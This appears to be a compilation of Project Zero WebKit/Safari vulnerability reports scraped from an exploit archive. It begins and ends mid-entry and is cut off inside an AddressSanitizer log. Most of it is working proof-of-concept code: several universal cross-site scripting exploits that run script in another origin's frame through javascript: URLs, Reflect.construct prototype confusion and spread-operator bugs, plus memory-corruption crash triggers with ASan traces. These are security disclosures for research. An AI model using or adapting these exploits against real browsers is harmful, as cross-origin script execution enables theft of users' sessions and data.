let inp = f.contentDocument.head.appendChild(document.createElement('input'));
let link = inp.appendChild(document.createElement('link'));
link.rel = 'stylesheet';
link.href = 'data:,aaaaazxczxczzxzcz';

let btn = f.contentDocument.body.appendChild(document.createElement('button'));
btn.id = 'btn';
btn.onfocus = () => {
    btn.onfocus = null;

    window.g = inp.appendChild(document.createElement('iframe'));
    window.g.onload = () => {
        window.g.onload = null;

        window.g.src = 'javascript:alert(location)';
        let xml = `
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(parent.g);

</sc` + `ript>
<element a="1" a="2" />
</svg>`;

        let h = document.body.appendChild(document.createElement('iframe'));
        h.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}));
    };

    window.g.src = 'https://abc.xyz/';
};

f.contentWindow.location.hash = 'btn';
inp.textContent = '';

</script>
</body>
</html>
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1121

Here's a snippet of the method SubframeLoader::requestFrame which is invoked when the |src| of an iframe object is changed.

bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
    // Support for <frame src="javascript:string">
    URL scriptURL;
    URL url;
    if (protocolIsJavaScript(urlString)) {
        scriptURL = completeURL(urlString); // completeURL() encodes the URL.
        url = blankURL();
    } else
        url = completeURL(urlString);

    if (shouldConvertInvalidURLsToBlank() && !url.isValid())
        url = blankURL();

    Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made.
    if (!frame)
        return false;

    if (!scriptURL.isEmpty())
        frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom

    return true;
}

A SOP violation check is made before the above method is called. But the frame's document can be changed before |frame->script().executeIfJavaScriptURL| called. This can happen by calling |showModalDialog| that enters a message loop that may start pending page loads.

Tested on Safari 10.0.3(12602.4.8).

PoC:
-->

<body>
<p>click anywhere</p>
<script>

window.onclick = () => {
    window.onclick = null;

    f = document.createElement('iframe');
    f.src = 'javascript:alert(location)';
    f.onload = () => {
        f.onload = null;

        let a = f.contentDocument.createElement('a');
        a.href = 'https://abc.xyz/';
        a.click();

        window.showModalDialog(URL.createObjectURL(new Blob([`
<script>
let it = setInterval(() => {
    try {
        opener[0].document.x;
    } catch (e) {
        clearInterval(it);

        window.close();
    }
}, 100);
</scrip` + 't>'], {type: 'text/html'})));
    };

    document.body.appendChild(f);
};

cached.src = kUrl;

</script>
</body>
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1084

When creating an object in Javascript, its |Structure| is created with the constructor's prototype's |VM|.

Here's some snippets of that routine.

Structure* InternalFunction::createSubclassStructure(ExecState* exec, JSValue newTarget, Structure* baseClass)
{
    ...
    if (newTarget && newTarget != exec->jsCallee()) {
        // newTarget may be an InternalFunction if we were called from Reflect.construct.
        JSFunction* targetFunction = jsDynamicCast<JSFunction*>(newTarget);

        if (LIKELY(targetFunction)) {
            ...
                return targetFunction->rareData(vm)->createInternalFunctionAllocationStructureFromBase(vm, prototype, baseClass);
            ...
        } else {
            ...
                return vm.prototypeMap.emptyStructureForPrototypeFromBaseStructure(prototype, baseClass);
            ...
        }
    }
    
    return baseClass;
}

inline Structure* PrototypeMap::createEmptyStructure(JSObject* prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo, IndexingType indexingType, unsigned inlineCapacity)
{
    ...
    Structure* structure = Structure::create(
        prototype->globalObject()->vm(), prototype->globalObject(), prototype, typeInfo, classInfo, indexingType, inlineCapacity);
    m_structures.set(key, Weak<Structure>(structure));
    ...
}

As we can see |Structure::create| is called with prototype's |vm| and |globalObject| as arguments. So it could lead to an UXSS condition.

Tested on Safari 10.0.2(12602.3.12.0.1) and Webkit Nightly 10.0.2(12602.3.12.0.1, r210800).

More simple way:
    let f = document.body.appendChild(document.createElement('iframe'));
    f.onload = () => {
        f.onload = null;

        let g = function () {};
        g.prototype = f.contentWindow;

        let a = Reflect.construct(Function, ['return window[0].eval;'], g);
        let e = a();
        e('alert(location)');
    };

    f.src = 'https://abc.xyz/';
-->

<body>
<script>

/*

When creating an object in Javascript, its |Structure| is created with the constructor's prototype's |VM|.

Here's some snippets of that routine.

Structure* InternalFunction::createSubclassStructure(ExecState* exec, JSValue newTarget, Structure* baseClass)
{
    ...
    if (newTarget && newTarget != exec->jsCallee()) {
        // newTarget may be an InternalFunction if we were called from Reflect.construct.
        JSFunction* targetFunction = jsDynamicCast<JSFunction*>(newTarget);

        if (LIKELY(targetFunction)) {
            ...
                return targetFunction->rareData(vm)->createInternalFunctionAllocationStructureFromBase(vm, prototype, baseClass);
            ...
        } else {
            ...
                return vm.prototypeMap.emptyStructureForPrototypeFromBaseStructure(prototype, baseClass);
            ...
        }
    }
    
    return baseClass;
}

inline Structure* PrototypeMap::createEmptyStructure(JSObject* prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo, IndexingType indexingType, unsigned inlineCapacity)
{
    ...
    Structure* structure = Structure::create(
        prototype->globalObject()->vm(), prototype->globalObject(), prototype, typeInfo, classInfo, indexingType, inlineCapacity);
    m_structures.set(key, Weak<Structure>(structure));
    ...
}

As we can see |Structure::create| is called with prototype's |vm| and |globalObject| as arguments. So it could lead to an UXSS condition.

Tested on Safari 10.0.2(12602.3.12.0.1) and Webkit Nightly 10.0.2(12602.3.12.0.1, r210800).

*/

'use strict';

function main() {
    let f = document.body.appendChild(document.createElement('iframe'));
    f.onload = () => {
        f.onload = null;

        let g = function () {};
        g.prototype = f.contentWindow;

        let a = Reflect.construct(Intl.NumberFormat, [], g);
        Intl.NumberFormat.prototype.__lookupGetter__("format").call(a).constructor('alert(location)')();
    };

    f.src = 'https://abc.xyz/';
}

main();

</script>
</body>
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1094

Once a spread operation is optimized, the function |operationSpreadGeneric| will be called from then on. But operationSpreadGeneric's trying to get a JSGlobalObject from the argument of a spread operation.

It seems that that optimization is not implemented to the release version of Safari yet.

Tested on the Nighly 10.0.2(12602.3.12.0.1, r210957)

PoC:
-->

<body>
<script>

'use strict';

function spread(a) {
    return [...a];
}

let arr = Object.create([1, 2, 3, 4]);
for (let i = 0; i < 0x10000; i++) {
    spread(arr);
}

let f = document.body.appendChild(document.createElement('iframe'));
f.onload = () => {
    f.onload = null;

    try {
        spread(f.contentWindow);
    } catch (e) {
        e.constructor.constructor('alert(location)')();
    }
};

f.src = 'https://abc.xyz/';

</script>
</body>
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1063

The frame is not detached from an unloaded window. We can access to the new document's named properties via the following function.

static bool jsDOMWindowPropertiesGetOwnPropertySlotNamedItemGetter(JSDOMWindowProperties* thisObject, Frame& frame, ExecState* exec, PropertyName propertyName, PropertySlot& slot)
{
    ...
    Document* document = frame.document(); <<-------- the new document.
    if (is<HTMLDocument>(*document)) {
        auto& htmlDocument = downcast<HTMLDocument>(*document);
        auto* atomicPropertyName = propertyName.publicName();
        if (atomicPropertyName && htmlDocument.hasWindowNamedItem(*atomicPropertyName)) {
            JSValue namedItem;
            if (UNLIKELY(htmlDocument.windowNamedItemContainsMultipleElements(*atomicPropertyName))) {
                Ref<HTMLCollection> collection = document->windowNamedItems(atomicPropertyName);
                ASSERT(collection->length() > 1);
                namedItem = toJS(exec, thisObject->globalObject(), collection);
            } else
                namedItem = toJS(exec, thisObject->globalObject(), htmlDocument.windowNamedItem(*atomicPropertyName));
            slot.setValue(thisObject, ReadOnly | DontDelete | DontEnum, namedItem);
            return true;
        }
    }

    return false;
}

PoC:
-->

"use strict";

let f = document.body.appendChild(document.createElement("iframe"));
let get_element = f.contentWindow.Function("return logo;");

f.onload = () => {
    f.onload = null;

    let node = get_element();

    var sc = document.createElement("script");
    sc.innerText = "alert(location)";
    node.appendChild(sc);
};

f.src = "https://abc.xyz/";

<!--
Tested on Safari 10.0.2(12602.3.12.0.1).
-->
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1038

There is a type confusion vulnerability that affects WebKit with accessibility enabled (WebCore::AXObjectCache::gAccessibilityEnabed).

PoC:

===============================
-->

<script>
function boom() {
  m.append("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
  m.setAttribute("aria-labeledby", "t");
  d.open = false;
}
</script>
<body onload=boom()>
<title id="t">foo</title>
<menu id="m">
<details id="d" open="true">

<!--
===============================


Bad cast happens in RenderBox.h in

inline RenderBox* RenderBox::firstChildBox() const
{
  return downcast<RenderBox>(firstChild());
}

The function expects that the first child is going to be of type RenderBox, but in the PoC it is actually of type RenderText.

This was tested on WebKitGTK+ 2.14.2 (latest stable version at this time). The PoC also crashes Safari on Mac, but only if the PoC is run while the Web Inspector / Error Console are enabled. It appears this behavior is caused by the fact that opening inspector enables accessibility features (via a call to AXObjectCache::enableAccessibility), while accessibility features are enabled in WebKitGTK+ by default through WebPageAccessibilityObjectAtk.

ASAN log follows.

=================================================================
==5530==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7fd724fdca78 at pc 0x7fd72289499f bp 0x7ffc9e7a40b0 sp 0x7ffc9e7a40a8
READ of size 8 at 0x7fd724fdca78 thread T0
    #0 0x7fd72289499e in WebCore::RenderBox::computeBlockDirectionMargins(WebCore::RenderBlock const&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBox.cpp:3260:21
    #1 0x7fd7228a00b1 in WebCore::RenderBox::computeAndSetBlockDirectionMargins(WebCore::RenderBlock const&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBox.cpp:3270:5
    #2 0x7fd7227faa45 in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:660:5
    #3 0x7fd7227f6abe in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:632:9
    #4 0x7fd7227f2d55 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:487:9
    #5 0x7fd7227a24b7 in WebCore::RenderBlock::layout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:1075:5
    #6 0x7fd7227fb3a0 in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:709:9
    #7 0x7fd7227f6abe in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:632:9
    #8 0x7fd7227f2d55 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:487:9
    #9 0x7fd7227a24b7 in WebCore::RenderBlock::layout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:1075:5
    #10 0x7fd7227fb3a0 in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:709:9
    #11 0x7fd7227f6abe in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:632:9
    #12 0x7fd7227f2d55 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:487:9
    #13 0x7fd7227a24b7 in WebCore::RenderBlock::layout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:1075:5
    #14 0x7fd7227fb3a0 in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:709:9
    #15 0x7fd7227f6abe in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:632:9
    #16 0x7fd7227f2d55 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:487:9
    #17 0x7fd7227a24b7 in WebCore::RenderBlock::layout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:1075:5
    #18 0x7fd722c7d92f in WebCore::RenderView::layoutContent(WebCore::LayoutState const&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderView.cpp:244:5
    #19 0x7fd722c7ee64 in WebCore::RenderView::layout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderView.cpp:370:9
    #20 0x7fd72221b17b in WebCore::FrameView::layout(bool) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/page/FrameView.cpp:1438:9
    #21 0x7fd721495fe2 in WebCore::Document::updateLayout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:2007:9
    #22 0x7fd7214a2801 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:2039:5
    #23 0x7fd721579993 in WebCore::Element::innerText() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Element.cpp:2518:5
    #24 0x7fd720c6d821 in WebCore::accessibleNameForNode(WebCore::Node*, WebCore::Node*) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityNodeObject.cpp:1887:16
    #25 0x7fd720c7695c in WebCore::AccessibilityNodeObject::accessibilityDescriptionForElements(WTF::Vector<WebCore::Element*, 0ul, WTF::CrashOnOverflow, 16ul>&) const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityNodeObject.cpp:1930:44
    #26 0x7fd720c77102 in WebCore::AccessibilityNodeObject::ariaLabeledByAttribute() const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityNodeObject.cpp:1955:12
    #27 0x7fd720c773e9 in WebCore::AccessibilityNodeObject::ariaAccessibilityDescription() const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityNodeObject.cpp:1166:28
    #28 0x7fd720c773e9 in WebCore::AccessibilityNodeObject::hasAttributesRequiredForInclusion() const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityNodeObject.cpp:1963
    #29 0x7fd720cc408b in WebCore::AccessibilityRenderObject::computeAccessibilityIsIgnored() const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityRenderObject.cpp:1356:9
    #30 0x7fd720cac82c in WebCore::AccessibilityObject::accessibilityIsIgnored() const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityObject.cpp:2978:19
    #31 0x7fd720cab793 in WebCore::AccessibilityObject::notifyIfIgnoredValueChanged() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityObject.cpp:2870:22
    #32 0x7fd72279df02 in WebCore::RenderBlock::makeChildrenNonInline(WebCore::RenderObject*) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:707:5
    #33 0x7fd72279d37a in WebCore::RenderBlock::addChildIgnoringContinuation(WebCore::RenderObject*, WebCore::RenderObject*) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:606:9
    #34 0x7fd722eb34fa in WebCore::RenderTreePosition::insert(WebCore::RenderObject&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/style/RenderTreePosition.h:93:5
    #35 0x7fd722eb34fa in WebCore::RenderTreeUpdater::createRenderer(WebCore::Element&, WebCore::RenderStyle&&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/style/RenderTreeUpdater.cpp:370
    #36 0x7fd722eaec96 in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/style/RenderTreeUpdater.cpp:283:9
    #37 0x7fd722eac9ad in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/style/RenderTreeUpdater.cpp:173:9
    #38 0x7fd722eabdcf in WebCore::RenderTreeUpdater::commit(std::unique_ptr<WebCore::Style::Update, std::default_delete<WebCore::Style::Update> >) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/style/RenderTreeUpdater.cpp:120:9
    #39 0x7fd7214a045e in WebCore::Document::recalcStyle(WebCore::Style::Change) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:1936:13
    #40 0x7fd7214a1a4f in WebCore::Document::updateStyleIfNeeded() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:1982:5
    #41 0x7fd7214a1a4f in WebCore::Document::implicitClose() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:2807
    #42 0x7fd721f666e8 in WebCore::FrameLoader::checkCallImplicitClose() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/FrameLoader.cpp:870:5
    #43 0x7fd721f666e8 in WebCore::FrameLoader::checkCompleted() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/FrameLoader.cpp:816
    #44 0x7fd721f6101a in WebCore::FrameLoader::finishedParsing() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/FrameLoader.cpp:737:5
    #45 0x7fd7214da906 in WebCore::Document::finishedParsing() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:5228:9
    #46 0x7fd721c66aca in WebCore::HTMLDocumentParser::end() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/html/parser/HTMLDocumentParser.cpp:406:5
    #47 0x7fd721c66aca in WebCore::HTMLDocumentParser::attemptToRunDeferredScriptsAndEnd() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/html/parser/HTMLDocumentParser.cpp:415
    #48 0x7fd721c66aca in WebCore::HTMLDocumentParser::prepareToStopParsing() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/html/parser/HTMLDocumentParser.cpp:135
    #49 0x7fd721f480d3 in WebCore::DocumentWriter::end() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/DocumentWriter.cpp:269:5
    #50 0x7fd721f20e29 in WebCore::DocumentLoader::finishedLoading(double) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/DocumentLoader.cpp:442:5
    #51 0x7fd721f2a031 in WebCore::DocumentLoader::continueAfterContentPolicy(WebCore::PolicyAction) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/DocumentLoader.cpp:829:13
    #52 0x7fd721f25361 in WebCore::DocumentLoader::responseReceived(WebCore::CachedResource*, WebCore::ResourceResponse const&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/DocumentLoader.cpp:711:9
    #53 0x7fd721f1b2a9 in WebCore::DocumentLoader::handleSubstituteDataLoadNow() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/DocumentLoader.cpp:477:5
    #54 0x7fd722434521 in WebCore::ThreadTimers::sharedTimerFiredInternal() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/platform/ThreadTimers.cpp:121:9
    #55 0x7fd71f10ff1b in WTF::RunLoop::TimerBase::TimerBase(WTF::RunLoop&)::$_3::operator()(void*) const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WTF/wtf/glib/RunLoopGLib.cpp:162:9
    #56 0x7fd71f10ff1b in WTF::RunLoop::TimerBase::TimerBase(WTF::RunLoop&)::$_3::__invoke(void*) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WTF/wtf/glib/RunLoopGLib.cpp:160
    #57 0x7fd717fcf059 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4a059)
    #58 0x7fd717fcf3ff  (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4a3ff)
    #59 0x7fd717fcf721 in g_main_loop_run (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4a721)
    #60 0x7fd71f10f384 in WTF::RunLoop::run() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WTF/wtf/glib/RunLoopGLib.cpp:94:9
    #61 0x7fd7208b6f98 in int WebKit::ChildProcessMain<WebKit::WebProcess, WebKit::WebProcessMain>(int, char**) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebKit2/Shared/unix/ChildProcessMain.h:61:5
    #62 0x7fd71378b82f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
    #63 0x41a218 in _start (/webkit/libexec/webkit2gtk-4.0/WebKitWebProcess+0x41a218)

0x7fd724fdca78 is located 272 bytes to the right of global variable 'vtable for WebCore::RenderText' defined in '/home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderText.cpp' (0x7fd724fdc400) of size 1384
SUMMARY: AddressSanitizer: global-buffer-overflow /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBox.cpp:3260:21 in WebCore::RenderBox::computeBlockDirectionMargins(WebCore::RenderBlock const&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) const
Shadow bytes around the buggy address:
  0x0ffb649f38f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffb649f3900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffb649f3910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffb649f3920: 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9
  0x0ffb649f3930: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
=>0x0ffb649f3940: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9[f9]
  0x0ffb649f3950: f9 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 f9 f9
  0x0ffb649f3960: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffb649f3970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffb649f3980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffb649f3990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==5530==ABORTING
-->
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1087

There is a negative-size memmove security vulnerability in WebKit. The vulnerability was confirmed on a nightly build of WebKit. The PoC has also been observed to crash Safari 10.0.2 on Mac.

PoC (Note: It might take a couple of refreshes to trigger the bug):

=================================================================
-->

<script>
function go() {
var iframe = document.getElementById("iframe");
var iframeWindow = window[0];
var toInsert = div;
var iframeBody = iframeWindow.document.body;
iframeBody.before(document.body);
iframe.after(toInsert);
}
</script>
<body onload=go()>
<form id="form">
<textarea form="form">aaaaaaaa</textarea>
<iframe id="iframe"></iframe>
</form>
<div id="div"><dir><object></object></dir>
<div>

<!--
=================================================================

Preliminary analysis:

Under certain conditions HTMLFormElement::formElementIndex() returns an index that is larger than the size of m_associatedElements. This results in negative memmove in WebCore::HTMLFormElement::registerFormElement.

ASan log:

=================================================================
==1226==ERROR: AddressSanitizer: negative-size-param: (size=-8)
    #0 0x10ef32f0b in __asan_memmove (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x41f0b)
    #1 0x114e4b3ba in WTF::VectorMover<true, WebCore::FormAssociatedElement*>::moveOverlapping(WebCore::FormAssociatedElement* const*, WebCore::FormAssociatedElement* const*, WebCore::FormAssociatedElement**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc563ba)
    #2 0x114e47954 in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc52954)
    #3 0x114e47770 in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc52770)
    #4 0x114bfe4d8 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa094d8)
    #5 0x114bfed4e in WebCore::FormAssociatedElement::resetFormOwner() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa09d4e)
    #6 0x11458bdb8 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChangeSource) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x396db8)
    #7 0x11458ba22 in WebCore::ContainerNode::updateTreeAfterInsertion(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x396a22)
    #8 0x11458b192 in WebCore::ContainerNode::insertBefore(WebCore::Node&, WebCore::Node*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x396192)
    #9 0x11608d76f in WebCore::Node::after(WTF::Vector<WTF::Variant<WTF::RefPtr<WebCore::Node>, WTF::String>, 0ul, WTF::CrashOnOverflow, 16ul>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1e9876f)
    #10 0x1155694f2 in WebCore::jsElementPrototypeFunctionAfterCaller(JSC::ExecState*, WebCore::JSElement*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x13744f2)
    #11 0x11555a371 in long long WebCore::BindingCaller<WebCore::JSElement>::callOperation<&(WebCore::jsElementPrototypeFunctionAfterCaller(JSC::ExecState*, WebCore::JSElement*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1365371)
    #12 0x11555a21e in WebCore::jsElementPrototypeFunctionAfter(JSC::ExecState*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x136521e)
    #13 0x54b37a201027  (<unknown module>)
    #14 0x11192c26c in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c526c)
    #15 0x11192c26c in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c526c)
    #16 0x11192583a in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12be83a)
    #17 0x1115e447d in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf7d47d)
    #18 0x11156eaa3 in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf07aa3)
